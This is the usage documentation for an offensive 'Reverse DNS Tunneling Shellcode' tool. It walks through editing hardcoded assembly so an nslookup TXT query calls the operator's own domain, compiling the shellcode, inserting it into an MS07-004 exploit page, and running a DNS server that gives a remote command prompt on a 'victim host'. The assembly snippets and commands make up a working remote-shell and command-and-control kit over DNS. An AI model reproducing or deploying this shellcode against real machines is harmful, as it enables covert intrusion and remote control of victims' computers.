Reverse DNS Tunneling Shellcode v0.3 Documentation

Current Limitations
      stage 1 asm is currently hardcoded for tysblackhat.com
- need to make a generator program so that this is dynamic
      stage2 shellcode creates files on the desktop of victim if it dies
      issues exist for requestId numbers greater than 99
      no WSAStartup so only works with internet connected software
      sleep is hardcoded
      GetProcAddress is hardcoded
      the server dies periodically, but no big deal since the probes continue, so you can start it back up and keep sending commands
      slow from command line due to DNS
      back slashes aren't escaped
      shellcode is memory resident and is not persistent


Considerations
      It is not a console. It an interface to run a single command at a time.
      No environment carried between commands
- navigation is useless. Listing directories done in one command.
- i.e. useless to cd to a directory since the next command starts at the desktop again

How To

1. Compile asc.c for alphanumeric encoding

gcc -o asc asc.c


2. Modify hardcoded domain in reverse-dns-shellcode-stage1-v03.asm

In future versions this will be automated via a generator program like for the stage 2 shellcode.

Towards the bottom you will find the following lines;

GetCommandString:
call GetCommandStringReturn
db 'nslookup -q=TXT -timeout=9 OBZG6YTF.0000-0000.0000.0001.tysblackhat.comN'


Change the domain from "tysblackhat.com" to be your domain.

This screws up a couple of hardcoded values in the shellcode that needs to be updated to reflect the size of your domain string. Locate the following lines and update the numbers based on the comments below;

jmp GetCommandString
GetCommandStringReturn:
pop ecx
mov edx,0x0000000A
mov [ecx + 71],dl ;71 is the length of the above db string without the "N". Update this to reflect your domain string length.

lea edi,[ebp-606Ch]
lea esi,[ecx]
mov ecx,72 ;Here we have 72. Similarly change this but obviously add one to your value above.
rep movsb


mov dword [ebp-6070h],48h ;48h is the hex version of 72 ... Change your second value above to hex.


3. Compile the stage 1 shellcode

You need to have nasm, xxd and bash installed and in your path. I am using;
nasm version 2.03.01
xxd version V1.10

If you have this then run the following;

./reverse-dns-shellcode-stage1-compiler-v03.sh reverse-dns-shellcode-stage1-v03.asm

This will produce the following files and will also output some of this to STDOUT;

reverse-dns-shellcode-stage1-v03.bin
reverse-dns-shellcode-stage1-v03.shellcode
reverse-dns-shellcode-stage1-v03.unicode
reverse-dns-shellcode-stage1-v03-ms07-004.html


4. Insert the shellcode into your exploit

reverse-dns-shellcode-stage1-v03-ms07-004.html has been included just as a sample exploit that automatically gets the shellcode inserted.


5. Start the Reverse DNS Tunneling Shellcode DNS Server

I created a start script for this;

reverse-dns-shellcode-server-start-v03.sh

Edit this file to replace tysblackhat.com to contain your domain name, then run it.

This should drop you to an initial command prompt where you can enter your first command before you even send off your exploit. This is to ensure that we don't waste any DNS probes from the victim host so we run commands immediatly.

From here you basically send off your exploit and wait for the DNS Server to display "[Command Sent Over DNS]", which means it is go time!

You should now have a command prompt on your victim host tunneled over DNS.


Enjoy and keep an eye out for later versions of the shellcode.

Ty Miller
www.projectshellcode.com




Business Services
"Pure Hacking distinguish themselves by successfully communicating difficult technical concepts to all levels. They also followed through with their promise to continue support in explaining these concepts long after our contract finished."

IT Manager - Production Systems, International Business Services Corporation